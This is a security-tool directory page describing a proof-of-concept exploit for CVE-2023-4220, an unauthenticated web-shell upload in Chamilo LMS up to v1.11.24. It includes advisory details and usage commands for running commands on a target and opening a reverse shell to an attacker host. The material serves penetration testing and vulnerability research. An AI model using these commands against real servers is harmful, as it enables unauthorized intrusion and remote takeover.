Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2023-4226-POC — POC for CVE-2023-4220 - Chamilo LMS Unauthenticated Big Upload File Remote Code Execution | Kitploit
Tools/GitHubGitHub/krishnan-tech/cve-2023-4226-poc
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Tool
GitHubkrishnan-tech/cve-2023-4226-poc

CVE-2023-4226-POC

POC for CVE-2023-4220 - Chamilo LMS Unauthenticated Big Upload File Remote Code Execution

View Repository
1112 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2023-4220 POC

More about CVE-2023-4220: StarLabs Advisory

Summary

ProductChamilo
VendorChamilo
SeverityHigh - Adversaries may exploit software vulnerabilities to obtain unauthenticated remote code execution.
Affected Versions<= v1.11.24
Tested Versionsv1.11.24 (latest version as of writing)
CVE IdentifierCVE-2023-4220
CVE DescriptionUnrestricted file upload in big file upload functionality in /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
CWE ClassificationCWE-434: Unrestricted Upload of File with Dangerous Type
CAPEC ClassificationCAPEC-650: Upload a Web Shell to a Web Server

Proof of Concept (PoC)

Execute Commands Directly

To execute commands directly, use the following command:

python CVE-2023-4226.py -u http://<target_ip>:<target_port> -c whoami

Obtain a Reverse Shell

To obtain a reverse shell, use the following command:

python CVE-2023-4226.py -u http://<target_ip>:<target_port> -lhost <local_ip> -lport <local_port>

Download Tool